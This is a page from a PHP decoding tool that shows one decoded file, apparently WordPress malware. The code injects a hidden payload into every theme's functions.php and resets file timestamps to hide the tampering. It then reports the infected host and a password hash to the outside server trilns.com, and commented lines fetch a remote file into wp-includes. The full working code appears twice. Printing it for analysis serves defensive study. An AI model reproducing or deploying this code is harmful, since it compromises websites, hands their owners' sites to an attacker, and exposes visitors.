Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str..

Decoded Output download

<?php 
 
	 
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); 
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code )); 
	 
 
			$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; 
				 
			$ping = true; 
				$ping2 = false; 
			if ($list = scandir( $themes )) 
				{ 
					foreach ($list as $_) 
						{ 
						 
							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) 
								{ 
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); 
										 
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) 
										{ 
											if (strpos($content, 'WP_V_CD') === false) 
												{ 
													$content = $install_code . $content ; 
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); 
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); 
												} 
											else 
												{ 
													$ping = false; 
												} 
										} 
										 
								} 
								 
								 
								                              else 
                                                            { 
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_); 
					                                 foreach ($list2 as $_2) 
					                                      	{ 
															 
 
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) 
								                      { 
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); 
										 
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) 
										{ 
											if (strpos($content, 'WP_V_CD') === false) 
												{ 
													$content = $install_code . $content ; 
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); 
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time ); 
													$ping2 = true; 
												} 
 
 
 
 
 
 
 
 
											else 
												{ 
													//$ping = false; 
												} 
										} 
										 
								} 
 
 
 
                                                                                  } 
 
                                                            } 
								 
								 
								 
								 
								 
								 
						} 
						 
					if ($ping) { 
						$content = @file_get_contents('http://www.trilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); 
						//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.trilns.com/admin.txt')); 
					} 
					 
															if ($ping2) { 
						$content = @file_get_contents('http://www.trilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); 
						//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.trilns.com/admin.txt')); 
//echo ABSPATH . 'wp-includes/class.wp.php'; 
					} 
					 
					 
					 
				} 
		 
 
 
 
 
?><?php error_reporting(0);?>

Did this file decode correctly?

Original Code

<?php

	
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
	

			$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
				
			$ping = true;
				$ping2 = false;
			if ($list = scandir( $themes ))
				{
					foreach ($list as $_)
						{
						
							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
								{
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
										
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
										{
											if (strpos($content, 'WP_V_CD') === false)
												{
													$content = $install_code . $content ;
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
												}
											else
												{
													$ping = false;
												}
										}
										
								}
								
								
								                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
					                                 foreach ($list2 as $_2)
					                                      	{
															

                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
								                      {
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
										
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
										{
											if (strpos($content, 'WP_V_CD') === false)
												{
													$content = $install_code . $content ;
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
													$ping2 = true;
												}








											else
												{
													//$ping = false;
												}
										}
										
								}



                                                                                  }

                                                            }
								
								
								
								
								
								
						}
						
					if ($ping) {
						$content = @file_get_contents('http://www.trilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.trilns.com/admin.txt'));
					}
					
															if ($ping2) {
						$content = @file_get_contents('http://www.trilns.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.trilns.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
					}
					
					
					
				}
		




?><?php error_reporting(0);?>

Function Calls

None

Variables

None

Stats

MD5 0043c50729465a804154aa3df616ac97
Eval Count 0
Decode Time 104 ms